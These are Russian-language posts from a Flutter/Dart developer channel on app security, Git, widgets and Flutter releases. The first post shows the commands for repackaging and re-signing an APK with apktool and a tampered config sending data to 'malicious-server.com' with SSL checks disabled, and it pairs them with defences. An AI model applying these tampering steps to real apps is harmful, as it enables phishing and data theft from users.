👣 Троян в assets: как хакеры меняют ваше Flutter-приложение без исходного кода.

Когда мы говорим о безопасности мобильных приложений, первое, что приходит в голову - защита исходного кода, обфускация, шифрование API-ключей. Но есть менее очевидный вектор атаки, который многие упускают из виду: ресурсы приложения. Те самые изображения, JSON-файлы, HTML-шаблоны и конфигурации, которые лежат в папке assets и кажутся безобидными. На самом деле они могут стать троянским конем, превращающим ваше приложение в инструмент мошенников без единого изменения в коде на Dart.


Как работает атака: проще, чем кажется:

Представьте стандартный процесс публикации Flutter-приложения. Вы собираете APK или AAB, подписываете его и отправляете в магазин. Но что происходит с этим APK после сборки?

Любой человек может скачать ваше приложение, выполнить несколько команд:

# Извлекаем ресурсы
apktool d yourapp.apk

# Редактируем файлы в папке assets/
# ...
# Перепаковываем
apktool b yourapp -o modified.apk

# Подписываем (да, даже без вашего ключа!)
zipalign -v 4 modified.apk aligned.apk
apksigner sign --ks fake.keystore aligned.apk

И вот уже существует модифицированная версия вашего приложения, которая выглядит и работает так же, но содержит измененные ресурсы. Этот APK может распространяться через сторонние магазины, мессенджеры или фишинговые сайты.


Сценарии, которые уже происходят:


WebView становится оружием:

Вы используете локальный HTML-файл для отображения справки или условий использования. Кажется безопасным? Хакер заменяет ваш help.html на страницу с фишинговой формой входа, которая крадет логины и пароли пользователей. При этом адресная строка показывает file:///android_asset/help.html - выглядит доверительно.


Конфигурация как бэкдор:

Приложение загружает настройки из config.json. В оригинале там безобидные цвета и тексты. После замены в конфиге появляются:

{
  "api_endpoint": "https://malicious-server.com/collect",
  "enable_debug": true,
  "disable_ssl_checks": true
}

Теперь ваше приложение отправляет все данные на сервер злоумышленника и отключает проверки безопасности.


Кража ключей, которые «никто не найдет»:

Вы положили Firebase-ключ или токен Stripe в assets/secrets.json, решив, что «это же не в коде». Хакер извлекает APK, находит файл за 30 секунд и получает доступ к вашей инфраструктуре.


Защита - многослойный подход:


Минимизация ущерба:

Первый и главный принцип: не храните в ресурсах того, что можно не хранить. Конфигурации должны приходить с защищенного бэкенда. Ключи API - использовать через нативные хранилища или серверные прокси. Если ресурс не критичен для безопасности - проблема отпадает сама собой.

Верификация целостности:

Для ресурсов, которые действительно должны быть локальными, добавьте проверку контрольных сумм:

import 'package:crypto/crypto.dart';
import 'dart:convert';

Future<bool> verifyAsset(String assetPath, String expectedHash) async {
  final data = await rootBundle.load(assetPath);
  final bytes = data.buffer.asUint8List();
  final hash = sha256.convert(bytes).toString();
  return hash == expectedHash;
}

Храните хэши в нативной части приложения или получайте их с сервера при первом запуске.


Шифрование на лету:

Критичные данные в ресурсах можно хранить в зашифрованном виде. Например, конфигурационный JSON шифруется AES на этапе сборки и расшифровывается только в памяти при запуске. Ключ шифрования не должен лежать в том же APK.


🔗 Ссылка на подробную статью


💡 Вывод:

Безопасность ресурсов - это не опциональная функция, а обязательная часть разработки, особенно для финансовых, медицинских и корпоративных приложений. Злоумышленники ищут самые простые пути взлома, и незащищенные assets - именно такой путь.

Главный вывод: относитесь к ресурсам приложения с тем же уровнем паранойи, что и к исходному коду. Каждый файл в assets должен проходить проверку «а что будет, если его заменить?». Если ответ пугает - значит, нужна защита.


➡️ Flutter & Dart | Мобильный трудоголик

📱 Как быстро удалить все ветки Git на локальной машине кроме dev и main.

Если в вашем проекте накопилось много ненужных локальных веток, их можно удалить одной командой, оставив только ключевые (например, main и dev).


🔵Откройте терминал и перейдите в папку проекта:

cd /путь/к/проекту

🔵Убедитесь, что в команде указаны ветки, которые нельзя удалять: например main, dev или другие.

🔵Выполните команду для удаления всех веток, кроме указанных:

git branch | grep -v "main" | grep -v "dev" | xargs git branch -D

Как это работает:

git branch - выводит список всех локальных веток.

grep -v "main" и grep -v "dev" - исключают из списка защищённые ветки.

xargs git branch -D — удаляет оставшиеся ветки.


Важно:

🔵Команда безвозвратно удаляет ветки, поэтому убедитесь, что ничего важного не потеряете.
🔵Если есть незамерженные изменения, Git не даст удалить ветку - предварительно закоммитьте или сохраните изменения.


➡️ Flutter & Dart | Мобильный трудоголик

👣 Flutter 3.38: что нового?

Квартальные релизы Flutter постепенно становятся похожими на швейцарские часы: предсказуемые, точные и наполненные множеством мелких улучшений, которые в сумме меняют опыт разработки. Версия 3.38 не исключение. На первый взгляд кажется, что это просто еще одно обновление, но под поверхностью скрываются изменения, которые затрагивают самую суть разработки на Flutter: от синтаксиса языка до способа взаимодействия с нативными платформами.


Синтаксическая революция:

Самый обсуждаемый элемент релиза: dot shorthands - на самом деле не фича Flutter, а изменение Dart 3.10. Но именно во Flutter оно проявляется наиболее ярко. Возможность писать .start вместо MainAxisAlignment.start - это не просто сокращение символов. Это изменение философии.

Раньше Dart требовал явности, даже когда контекст был очевиден. Теперь язык доверяет разработчику и инструментам. Компилятор понимает, что в контексте Column параметр mainAxisAlignment может быть только типа MainAxisAlignment. Эта, казалось бы, мелочь меняет ощущение от языка - код становится более плотным, читаемым и менее зашумленным.

Но здесь же кроется и вызов: теперь начинающим разработчикам будет сложнее понять, откуда берется .all в EdgeInsets.all(8). Прозрачность уступает место эффективности - классический компромисс дизайна языков программирования.


Жизненный цикл по-новому - UIScene для iOS:

Поддержка UIScene lifecycle не просто очередная адаптация под требования Apple. Это фундаментальное изменение в том, как Flutter-приложения живут на iOS. Переход от AppDelegate-based к Scene-based архитектуре открывает возможности для более сложных сценариев: несколько окон, улучшенная работа с внешними дисплеями, лучшая интеграция с iPadOS и visionOS.

Но здесь есть и темная сторона: миграция обязательна. Apple уже объявила, что в релизе после iOS 26 приложения, не использующие UIScene, просто не запустятся. Flutter 3.38 дает инструменты для миграции, но сам процесс - еще один пример того, как мобильная разработка становится все сложнее.


Производительность - тихая работа над ошибками:

Никто не будет писать в релизных нотах «исправили 15 мелких утечек памяти и улучшили производительность на 3% в крайних случаях». Но именно такие изменения составляют суть версии 3.38:

🔵Оптимизации Vulkan/OpenGL, которые на некоторых устройствах дадут заметный прирост FPS.

🔵Исправление утечки памяти на Android, которая могла накапливаться при пересоздании Activity.

🔵Улучшение Performance Overlay, чтобы сам инструмент профилирования меньше влиял на результаты.

🔵Эти изменения незаметны, пока все работает хорошо. Но они создают фундамент для стабильности в будущем.


🔗 Ссылка на подробную статью


💡 Вывод:

Flutter 3.38 - это релиз про зрелость. Зрелость языка, который учится быть более выразительным с меньшим количеством символов. Зрелость инфраструктуры, которая переходит от «работает» к «работает предсказуемо и эффективно». Зрелость экосистемы, которая начинает разделять ответственности.

Главный тренд, который прослеживается во всех изменениях - это движение от монолита к модульности. Dot shorthands отделяют намерение от избыточной специфики. Web-конфигурация отделяет настройки среды от кода. Будущее разделение Material / Cupertino отделяет дизайн-системы от ядра фреймворка.


➡️ Flutter & Dart | Мобильный трудоголик

👣 Flutter: как фреймворк, который «умер», стал самым популярным кроссплатформенным решением.

В русскоязычном ИТ-сообществе существует интересный феномен: некоторые технологии умудряются умирать годами, при этом демонстрируя стабильный рост и принятие в индустрии. Flutter - чемпион в этой категории. Пока в комментариях в интернете пишут очередные некрологи, статистика рассказывает другую историю: каждое третье, новое iOS-приложение в 2024 году создано на Flutter, а в Google Play таких приложений уже более полумиллиона.


Разрыв между нарративом и реальностью:

Есть два параллельных мира Flutter. В первом фреймворк постоянно умирает. Во втором живут реальные метрики - Flutter является самым популярным кроссплатформенным решением уже четвертый год подряд.

Интересно, что этот разрыв не уникален для Flutter. Подобное происходило с Kotlin («зачем нужен, когда есть Java»), TypeScript («сложно, просто пишите на JavaScript»), и многими другими технологиями, которые в итоге стали стандартом индустрии.


Что говорят цифры:

Если отключить эмоции и включить аналитику, картина выглядит иначе:

🔵Рост доли рынка: в App Store доля Flutter-приложений выросла с 10% в 2021 до почти 30% в 2024 среди отслеживаемых бесплатных приложений.

🔵Экосистема: pub.dev насчитывает 55 тысяч пакетов - рост на 10 тысяч за год.

🔵Сообщество: 170 тысяч звезд на GitHub, что делает Flutter третьим по популярности проектом Google после TensorFlow и Kubernetes.

🔵Принятие индустрией: Google Pay, Google Ads, приложения BMW, Alibaba, eBay - все используют Flutter в production.

Эти цифры не из пресс-релизов Google. Это данные из отчетов Apptopia, Stack Overflow Developer Survey и публичной статистики магазинов приложений.


Почему нарратив «Flutter мертв» так живуч:

Есть несколько психологических и социальных причин:

🔵Эффект негатива: критические комментарии получают больше внимания, чем нейтральные или позитивные.

🔵Инерция мышления: сформировавшееся несколько лет назад мнение сложно изменить, даже когда факты меняются.

🔵Трибализм: разработчики, вложившиеся в другие технологии (нативную разработку, React Native, KMP), защищают свой выбор.

🔵Сложность оценки: чтобы объективно оценить современный Flutter, нужно потратить время на изучение, что проще заменить мнением «я где-то слышал, что он тормозит».

Интересно, что аналогичная ситуация была с Docker в начале 2010-х («виртуалки надежнее») и с Kubernetes в середине 2010-х («сложно, зачем»).


Реальные проблемы Flutter в 2025:

🔵Сложность state management для новичков (хотя это скорее богатство выбора).

🔵Производительность на экстремально сложных UI (карты с тысячами объектов).

🔵Размер приложения (добавляет 4-9 МБ к базовому размеру).


🔗 Ссылка на подробную статью


💡 Вывод:

Технологические дискуссии часто напоминают спор болельщиков разных футбольных клубов: эмоции преобладают над фактами, а лояльность к своей технологии важнее объективной оценки.

Flutter в 2025 году - это зрелая, стабильно развивающаяся технология с четкой нишей: создание кроссплатформенных приложений с контролируемым, одинаковым UI на всех платформах. Она не подходит для всего (как и любая другая технология), но для своей ниши предлагает отличное решение.

Цифры говорят сами за себя: рост доли рынка, расширяющаяся экосистема, использование крупными компаниями. Эти метрики важнее, чем мнения в комментариях, особенно когда эти мнения повторяют тезисы трехлетней давности, уже не соответствующие реальности.


➡️ Flutter & Dart | Мобильный трудоголик

📱 Git Merge vs Rebase: В чем разница?

Обе команды объединяют изменения из одной ветки в другую, но делают это по-разному.


Git Merge:

Создает новый коммит слияния, сохраняя историю всех веток.

# Переключись на ветку, куда нужно влить изменения (например main).
git checkout main  

# Влить изменения из ветки feature.
git merge feature

Плюсы:

🔵Простота использования.

🔵Сохраняет полную историю.

Минусы:

🔵Захламляет историю коммитами слияния.


Git Rebase:

Перемещает ваши коммиты в другую ветку, перезаписывая историю другой ветки таким образом, будто вы только что ответвились от этой ветки и добавили новые коммиты. Все прошлые коммиты в истории данной ветки будут до ваших коммитов.

# Переключись на feature ветку.
git checkout feature

# Перебазировать ее на main.
git rebase main

Плюсы:

🔵Чистая, линейная история.

🔵Нет лишних коммитов слияния.

Минусы:

🔵Может усложнить работу в команде (переписывает историю).

Когда вы делаете rebase, Git фактически переписывает историю коммитов - создает новые коммиты с тем же содержимым, но другим хешем.
Если вы уже запушили ветку в удаленный репозиторий, обычный git push без --force не сработает, потому что локальная история и на сервере расходится.

git push --force

Когда что использовать:

🔵Merge: для публичных веток (main, dev).

🔵Rebase: для локальных feature веток перед мержем.


➡️ Flutter & Dart | Мобильный трудоголик

👣 Как виджеты AbsorbPointer и IgnorePointer управляют поведением интерфейса.

В арсенале Flutter-разработчика есть десятки виджетов для построения визуала, но ключевое качество современного интерфейса - не только красота, но и его предсказуемое поведение. Как элегантно запретить двойное нажатие на кнопку, сделать слайдер только для чтения или временно приостановить все жесты в сложной форме? Для этих задач существуют специальные виджеты-контроллеры, которые оставаясь невидимыми, кардинально меняют логику взаимодействия. Сегодня разберем двух таких стражей порядка: AbsorbPointer и IgnorePointer.


Суть проблемы - управление потоком событий:

Каждое нажатие, свайп или скролл в приложении - это событие (event), которое проходит определенный путь (hit test) по дереву виджетов, чтобы найти целевой элемент. Иногда необходимо этот поток прервать или перенаправить. Именно здесь на сцену выходят невидимые виджеты-обертки. Их главная задача - влиять на процесс обработки жестов, не изменяя при этом внешний вид дочерних виджетов.


AbsorbPointer - полная блокировка:

Это стена. Когда absorbing: true, все касания останавливаются на этом виджете. События не проходят к дочерним виджетам и не ищут другие цели.

Пример: кнопка отправки формы. Нужно заблокировать ее во время загрузки, но оставить видимой с анимацией:

AbsorbPointer(
  absorbing: isLoading,
  child: ElevatedButton(...),
)

IgnorePointer - сквозное игнорирование:

Это невидимка. При ignoring: true виджет пропускает события сквозь себя. Hit-тестирование продолжается, события могут попасть в виджеты ниже.

Пример: полупрозрачный баннер поверх карты. Баннер виден, но карта остается интерактивной:

Stack(
  children: [
    InteractiveMap(),
    IgnorePointer(
      child: PromoBanner(),
    ),
  ],
)

Главное отличие:

🔵AbsorbPointer: события не проходят вообще.

🔵IgnorePointer: события проходят сквозь к виджетам позади.


Критические сценарии:

🔵Модальное окно с затемнением фона - нужен AbsorbPointer для блокировки фона.

🔵Анимированный индикатор поверх контента - нужен IgnorePointer, чтобы контент оставался кликабельным.

🔵Временное отключение поля формы - IgnorePointer, если нужно сохранить структуру hit-теста.


💡 Вывод:

Выбор между AbsorbPointer и IgnorePointer - это не вопрос вкуса, а вопрос архитектуры взаимодействия. Он сводится к простому решению: нужно ли изолировать проблемную зону от всей системы событий (AbsorbPointer), или же требуется точечно выключить один виджет, не трогая общий поток (IgnorePointer).

Понимание этой разницы - признак зрелости разработчика. Оно позволяет не костылять отключение через onPressed: null (что портит UX, меняя визуальную обратную связь) или сложные флаги в состояниях, а использовать декларативный и точный инструмент. Эти невидимые виджеты - фундамент для создания проработанного, устойчивого к нежелательным действиям пользовательского интерфейса, где каждое взаимодействие находится под вашим полным контролем.


➡️ Flutter & Dart | Мобильный трудоголик

👣 Offstage: пререндеринг без боли.

Привет! Во Flutter, где каждое изменение состояния может запускать перестроение дерева виджетов, управление производительностью часто сводится к искусству скрытия. Не буквального, а архитектурного. Когда перед нами встает задача заранее подготовить сложный фрагмент интерфейса, но не показывать его немедленно, на помощь приходит неочевидный, но мощный виджет Offstage. В отличие от простого условного рендеринга, его работа гораздо тоньше и направлена на решение конкретных проблем с производительностью и состоянием.


Принцип работы:

Ключевое отличие Offstage от Visibility с флагом visible: false или условного оператора (if (condition) Widget()) - в его отношении к дереву. Когда вы оборачиваете виджет в Offstage(offstage: true), происходит следующее:

🔵Виджет физически исключается из процесса лейаута (layout). Система его не измеряет и не размещает, как если бы его не существовало.

🔵Виджет остается активной частью дерева виджетов. Его состояние (State), контроллеры анимаций (AnimationController), подписки (StreamSubscription, Listenable) продолжают жить и работать.

🔵Виджет не отрисовывается (не вызывает paint). Это экономит вычислительные ресурсы GPU.

Этот принцип «жить, но не мешать» создает уникальные возможности.


Ключевые сценарии применения:

🔹 Пребилдинг ресурсоемких экранов и вкладок. Представьте навигацию с табами, где каждый таб - это сложный экран с сетями, графиками или списками. Используя Offstage для неактивных вкладок, вы избегаете:

🔵Полного пересоздания состояния и загрузки данных при каждом переключении.

🔵Мерцания или задержек, пока виджет инициализируется с нуля.

🔵Это классический паттерн для TabBarView или кастомных навигационных решений, где нужно сохранять состояние экранов.

🔹 Сложные, готовые к показу модальные окна или меню. Если диалог или боковое меню должно появляться мгновенно по жесту или кнопке, его можно заранее построить и спрятать в Offstage. В момент показа (offstage: false) произойдет только включение в лейаут и отрисовка - без инициализации контроллеров, загрузки ассетов или вычисления сложной логики. Это критично для создания ощущения отзывчивости интерфейса.

🔹 Управление жизненным циклом для оптимизации. Иногда виджет должен продолжать выполнять фоновую работу (например слушать поток данных или считать таймер), но не должен быть виден. Offstage позволяет сохранить эту логику, не отвлекая ресурсы на ненужный лейаут и отрисовку. Альтернатива - вынос логики в родительский виджет или сервис, что часто нарушает инкапсуляцию.


Технические нюансы и ограничения:

🔵Размер. Хотя Offstage не участвует в лейауте, технически он может иметь размер, если ему переданы ограничения (constraints). Однако чаще его используют с size: Size.zero, чтобы он точно не занимал места.

🔵Не для всего. Не стоит оборачивать в Offstage бесконечно растущие списки (ListView.builder) с активными подписками на скролл - это может привести к утечке памяти. Инструмент эффективен для ограниченных по сложности виджетов, которые точно понадобятся.

🔵Альтернатива IndexedStack. IndexedStack - это, по сути, умный Stack, показывающий один из нескольких детей. Под капотом он использует похожий механизм для невидимых дочерних виджетов. Offstage дает более точечный, ручной контроль в случаях, когда логика показа/скрытия сложнее простого индекса.


Пример - быстрое переключение вкладок:

Сохраняем состояние обеих вкладок, а не пересоздаем их.

Stack(
  children: [
    Offstage(
      offstage: _currentTab != 0,
      child: SettingsScreen(), // Живое состояние
    ),
    Offstage(
      offstage: _currentTab != 1,
      child: ProfileScreen(), // Контроллеры активны
    ),
  ],
)

💡 Вывод:

Offstage - это не просто скрытие виджета. Он сохраняет его состояние и ресурсы, предотвращая пересоздание. Используйте его для пребилдинга вкладок, сохранения анимаций и быстрых переходов. Так вы сделаете приложение отзывчивее без лишней нагрузки на процессор и память.


➡️ Flutter & Dart | Мобильный трудоголик

👣 Flutter: как FractionallySizedBox и FittedBox спасают адаптивную верстку.

Создание адаптивного интерфейса во Flutter часто сводится к использованию MediaQuery и расчетам на основе размеров экрана. Но есть два менее известных, но исключительно мощных виджета, которые решают специфичные задачи адаптивности на уровне композиции, без сложной математики. FractionallySizedBox и FittedBox - это не просто обертки, а точные инструменты контроля пропорций и масштабирования.


FractionallySizedBox - размер в процентах:

Этот виджет задает размер дочернего элемента как долю от родителя. Например, кнопка на 80% ширины контейнера:

FractionallySizedBox(
  widthFactor: 0.8,
  child: ElevatedButton(...),
)

Главное условие: родитель должен иметь конкретный размер. Не будет работать в Column без Expanded, где ширина не ограничена.


FittedBox - умное масштабирование:

Когда контент не помещается, FittedBox масштабирует его, сохраняя пропорции. Типичный случай - крупный заголовок в маленькой карточке:

FittedBox(
  child: Text('Заголовок', style: TextStyle(fontSize: 40)),
)

Это предотвращает OverflowError и автоматически подбирает размер.


В чем разница между FractionallySizedBox и FittedBox:

🔵FractionallySizedBox управляет контейнером (задает его размер как процент от родителя).

🔵FittedBox управляет содержимым (масштабирует виджет внутри существующего контейнера).


Когда что использовать:

🔵Используйте FractionallySizedBox для: кнопок фиксированной ширины, прогресс-баров, колонок сетки.

🔵Используйте FittedBox для: текста в ограниченной области, иконок в CircleAvatar, изображений-превью.


💡 Вывод:

Изучение адаптивности во Flutter не должно начинаться и заканчиваться на MediaQuery.of(context).size.width. Такие виджеты, как FractionallySizedBox и FittedBox, предлагают декларативный и композиционный подход к решению распространенных проблем верстки. Они смещают фокус с реактивного программирования («посчитай размер экрана и обнови») на декларативное описание отношений между элементами интерфейса («этот элемент занимает половину родителя, а его содержимое подстраивается под доступное пространство»).

Внедрение этих виджетов в повседневную практику сокращает количество кастомных расчетов, делает код чище и предсказуемее, а главное - создает по-настоящему гибкий интерфейс, который корректно ведет себя не только на разных размерах экрана, но и в сложных, вложенных layout-структурах. Это следующий уровень мастерства после освоения Row, Column и Flex.


➡️ Flutter & Dart | Мобильный трудоголик

🔨 Как установить несколько Xcode с разными версиями?

При возникновении необходимости в установке нескольких, разных версий среды разработки Xcode на одной машине можно воспользоваться удобным приложением Xcodes, которое является удобным менеджером версий Xcode.


Зачем нужно:

🔵Тестирование приложений на разных версиях Xcode (включая бета-версии).

🔵Работа с проектами, которые требуют конкретной версии (например, legacy-код).

🔵Возможность не обновлять основной Xcode, если новая версия вызывает баги.


Особенности данной утилиты:

🔵Поддерживает процессоры Apple Silicon и Intel.

🔵Показывает релизные заметки для каждой версии.

🔵Упрощает установку и переключение между версиями Xcode.

🔵Автоматически скачивает нужные версии (включая старые и beta).

🔵Не требует ручного управления через xcode-select.


➡️ Flutter & Dart | Мобильный трудоголик

👣 Flutter+Rust: новый стек для системы HyperOS от Xiaomi

Компания Xiaomi анонсировала новую версию своей системы: HyperOS 4. Ключевое изменение: переход системных приложений на Flutter для UI и Rust для системной логики. Это не косметическое обновление, а замена технологического стека.


Проблема:

Старая кодовая база MIUI - это смесь Java, Kotlin и кастомного кода. Результат: фрагментация интерфейсов, сложная поддержка, раздутая прошивка.


Решение:

🔵Flutter для всего UI. Единый фреймворк отрисовки для всех системных приложений (настройки, файлы, часы). Цель: идентичный интерфейс на всех устройствах и упрощение разработки.

🔵Rust для системного кода. Язык для драйверов, сервисов, работы с железом. Причины: безопасность памяти (нет GC), производительность на уровне C/C++.


Архитектурные выгоды:

🔵Модульность: команды могут разрабатывать приложения независимо.

🔵Упрощение поддержки: один стек вместо зоопарка технологий.

🔵Потенциал для быстрых обновлений: возможность обновлять системные приложения отдельно от прошивки.


Риски:

🔵Память: Runtime Flutter увеличит потребление RAM.

🔵Интеграция: сложные мосты между Flutter/Rust и обязательным слоем Android (Google Play Services).

🔵Квалификация: необходимы разработчики на Dart и Rust.

🔵Отладка: сложная диагностика проблем в цепочке Flutter - Rust - Android.


🔗 Ссылка на новость


💡 Вывод:

Xiaomi пытается заменить legacy-код единым современным стеком. Цель: получить управляемую, модульную и производительную систему. Успех даст им преимущество. Провал станет дорогим уроком о пределах кроссплатформенных решений на системном уровне. Это крупнейший технологический эксперимент среди Android-производителей.


➡️ Flutter & Dart | Мобильный трудоголик

👣 Запущен комплексный образовательный путь по Dart и Flutter

Команда Dart и Flutter представила масштабное обновление образовательных материалов - целостный обучающий путь «Getting Started Experience». Это не просто очередной туториал, а продуманная экосистема для входа в технологию, созданная с учетом современных принципов педагогического дизайна и пользовательского опыта.


Структурный подход к обучению - от любопытства к пониманию:

Новый подход кардинально отличается от традиционной документации. Вместо разрозненных статей и примеров кода предлагается последовательный путь, состоящий из взаимосвязанных модулей:

🔵Мгновенный старт без барьеров. Используя возможность горячей перезагрузки в вебе (hot reload), новички могут начать писать код на Flutter прямо в браузере, минуя сложную настройку локального окружения. Это снижает порог входа с первых секунд.

🔵Двухэтапное погружение: отдельные, но связанные курсы по Dart и Flutter. Это решает классическую дилемму: изучать язык и фреймворк вместе или раздельно. Теперь можно пройти основы Dart, а затем перейти к Flutter, либо начать сразу с фреймворка, если есть опыт в других ООП-языках.

🔵Практика через создание четырех законченных приложений. Ключевое решение: отказаться от одного монолитного учебного проекта в пользу нескольких небольших, но цельных приложений. Это минимизирует когнитивную нагрузку, снижает риск ошибок и позволяет фокусироваться на конкретных концепциях без отвлечения на вспомогательный код.

🔵Видеоролики с человеческим лицом. Обучение дополнено серией видео, где ключевые концепции объясняют не дикторы за кадром, а реальные инженеры, технические писатели и менеджеры продуктов из команд Dart и Flutter. Это создает эмоциональную связь и знакомит новичков с сообществом.

🔵Интерактивные элементы и финальный босс. После каждого модуля - простые неблокирующие квизы для самопроверки. А кульминацией пути становится рекомендованная серия видео «How Flutter Works», которая раскрывает внутреннее устройство фреймворка, переводя разработчика на новый уровень понимания.


Реорганизация сайтов - ясность и навигация:

Обновление затронуло и инфраструктуру сайтов Dart и Flutter. Они были переведены на Jaspr - статический генератор сайтов на Dart. Более заметное для пользователя изменение - четкое разделение контента:

🔵Раздел «Learn»: теперь дом для всех обучающих материалов, путей и туториалов.

🔵Раздел «User Guides»: содержит основную техническую документацию и справочные материалы.

Это разделение упрощает навигацию как для новичков, ищущих структурированное обучение, так и для опытных разработчиков, которым нужна конкретная справочная информация.


Что это значит для экосистемы? Тренд на качество онбординга:

Данный запуск - это сигнал всей индустрии. Команда Dart и Flutter демонстрирует, что инвестиции в developer experience (DX) начинаются не с продвинутых инструментов, а с момента, когда потенциальный разработчик только задумывается о выборе технологии. Такой подход:

🔵Снижает коэффициент оттока на старте. Меньше разработчиков бросают изучение из-за сложностей первоначальной настройки или непонимания, с чего начать.

🔵Формирует лояльное сообщество. Чувство поддержки и качественный входной опыт создают позитивное восприятие технологии в долгосрочной перспективе.

🔵Задает новый стандарт. Другим фреймворкам и языкам теперь придется равняться на столь же продуманный и человеко-ориентированный процесс обучения.


🔗 Ссылка на подробную статью


💡 Вывод:

Новый «Getting Started Experience» - это больше чем апдейт документации. Это стратегическая инвестиция в будущее экосистемы. Он превращает хаотичное первоначальное знакомство с Flutter и Dart в продуманное, поддерживающее и эффективное путешествие от первого интереса до глубокого понимания технологии. Для всех, кто присматривался к Flutter, но откладывал из-за «не знаю, с чего начать» - сейчас идеальный момент.


➡️ Flutter & Dart | Мобильный трудоголик

👣 Flutter на Авроре получил апгрейд: что дает включение Impeller

В мире Flutter уже несколько лет говорят о Impeller - новом рендеринговом движке от Google, призванном решить главную боль разработчиков: фризы и лаги анимаций «на холодную». Пока для iOS он включен по умолчанию, а для Android только на новых версиях, команда разработки под ОС Aurora решила не оставаться в стороне и добавила экспериментальную поддержку этой технологии в свою экосистему. Разберем, что это дает на практике и стоит ли спешить с включением.


Чем Impeller отличается от Skia и почему это важно для Aurora:

Долгое время Flutter полагался на Skia - мощный, но универсальный графический движок. Его слабое место - компиляция шейдеров в рантайме, которая и вызывает те самые пресловутые фризы при первом отображении сложных интерфейсов. Решения существовали (прекомпиляция, прогрев приложения), но они усложняли разработку.

Impeller - это ответ Google на эту проблему. Его ключевая особенность - предсказуемое время отрисовки каждого кадра за счет отказа от компиляции шейдеров на лету. Для Аврора, которая позиционируется как стабильная и производительная отечественная платформа, такая оптимизация особенно актуальна, так как напрямую влияет на пользовательское восприятие приложений.


Особенности реализации - работа с OpenGL и текущие ограничения:

На Aurora графика работает через стек Wayland + OpenGL. Команда разработки интегрировала OpenGL-бэкенд Impeller, который в upstream-версии Flutter имеет статус экспериментального и не рекомендуется к использованию. Потребовалась доработка: например, реализация корректного преобразования матриц для поддержки альбомной ориентации.

Важный нюанс: включение Impeller на Аврора - это опция, а не замена по умолчанию. Активируется она флагом --enable-impeller при запуске. Это разумный подход, учитывая, что не все сценарии отрисовки в этом режиме стабильны, возможны артефакты в отдельных виджетах (как в примере с Checkbox).


Цифры и факты - что показывают тесты производительности:

Тестирование на планшете с Aurora 5.2.0 дает неоднозначную, но в целом обнадеживающую картину:

🔵Холодный запуск и навигация. В тестовом приложении переход на новый экран с анимацией при использовании Skia вызывал фризы как на UI-, так и на Raster-потоке. С Impeller фриз остался только на UI-потоке, в то время как GPU-рендеринг (Raster) выдавал стабильные 60 fps. Это прямое свидетельство того, что Impeller справляется со своей основной задачей - стабилизацией отрисовки.

🔵Сравнение под нагрузкой. В синтетическом тесте, нагружающем UI и Raster, результаты оказались неоднозначными. При выполнении стандартных операций, таких как построение списков или рисование на Canvas, разница в производительности между Skia и Impeller была практически незаметна. Однако ключевое преимущество нового рендерера проявилось в специализированном сценарии: отрисовке сложных визуальных эффектов. При работе с тенями, размытиями, градиентами и прозрачностью производительность Raster-потока с Impeller увеличилась примерно вдвое, что демонстрирует его существенное превосходство в данной нише.


🔗 Ссылка на подробную статью


💡 Вывод:

Поддержка Impeller в операционной системе Аврора - это важный, но экспериментальный шаг. Новый рендерер демонстрирует реальные преимущества в стабильности отрисовки и производительности сложных эффектов, приближая опыт разработки под Aurora к мировым стандартам Flutter. Однако из-за сырости OpenGL-реализации и возможных артефактов в интерфейсе переходить на него на проде пока рано. Для Аврора это возможность, а не обязательство - стратегический задел на будущее, когда Impeller окончательно созреет.


➡️ Flutter & Dart | Мобильный трудоголик

👣 Flutter 3.41: стабильность, модульность и подготовка к будущему

Google выпустил Flutter 3.41 - релиз, который выглядит как плановый апдейт, но на самом деле закладывает архитектурные изменения на годы вперед. 868 коммитов от 145 контрибьюторов, но главное не в количестве, а в направлении.


Прозрачность разработки:

Впервые Flutter вводит публичные release-окна на весь 2026 год. Теперь каждый знает точные даты заморозки веток: 3.44 выйдет в мае, 3.47 в августе, 3.50 в ноябре. Для команд, которые зависят от стабильности фреймворка, это снимает огромный пласт неопределенности. Больше не нужно гадать, попадет ли фича в ближайший релиз - календарь открыт.


Материалы и Cupertino уходят в отдельные пакеты:

Это ключевое изменение, которое многие недооценят. Material и Cupertino больше не будут привязаны к монолитному циклу релиза Flutter. Их обновления смогут выходить независимо, в любое время. Для разработчиков это означает две вещи: во-первых, вы сможете получать новые дизайн-системы (вроде Material 3 Expressive или Liquid Glass) не дожидаясь квартального обновления движка. Во-вторых, если вы застряли на старой версии Flutter из-за легаси, вы все равно сможете обновить визуальную часть отдельно. Фреймворк становится конструктором, а не монолитом.


iOS: UIScene по умолчанию и чистый blur:

Flutter окончательно прощается с наследием AppDelegate. Поддержка UIScene включена по умолчанию - это было требование Apple для будущих версий iOS, и теперь оно выполнено. Параллельно Impeller получил улучшенный рендеринг размытия: исчезли цветные ореолы по краям, которые раньше портили впечатление от BackdropFilter. CupertinoSheet обзавелся нативным drag-хендлом - мелочь, но именно из таких мелочей складывается ощущение «родного» интерфейса.


Android: подготовка к AGP 9 с осторожностью:

Важный нюанс: обновляться на Android Gradle Plugin 9 пока нельзя. Поддержка заморожена до аудита обратной совместимости. Но новые плагины уже по умолчанию генерируются на Kotlin DSL - индустрия движется, и Flutter движется с ней. Плюс появилась возможность точечно исключать ассеты для конкретных платформ: тяжелые десктопные текстуры больше не придется тащить в мобильную сборку.


Графика: синхронные текстуры и 128-битные float:

Для тех, кто работает с кастомными шейдерами, релиз принес две важные вещи. Первая - синхронное декодирование текстур. Раньше создание текстуры для шейдера могло «уронить» кадр, теперь это делается в том же фрейме через decodeImageFromPixelsSync. Вторая - поддержка 128-битных float-текстур. Это про LUT для цветокоррекции, про SDF-шейдеры и про фотофильтры на GPU. Технический потолок поднят.


🔗 Ссылка на подробное описание релиза


💡 Вывод:

Flutter 3.41 - это релиз, который не кричит о себе громкими заголовками, но меняет правила игры в долгую. Публичные окна релизов превращают разработку фреймворка из черного ящика в предсказуемый процесс, где каждый контрибьютор и каждая команда видят свой горизонт планирования.

Выделение Material и Cupertino в независимые пакеты ломает многолетнюю монолитность - теперь дизайн-системы могут эволюционировать со скоростью индустрии, а не со скоростью движка.

Flutter перестает быть просто инструментом для быстрого старта и становится платформой, на которой можно строить сложные, долгоживущие проекты - с предсказуемостью, гибкостью и уважением к обратной совместимости.


➡️ Flutter & Dart | Мобильный трудоголик

👣 Когда pubspec.yaml работает против вас: разбор типичных ошибок

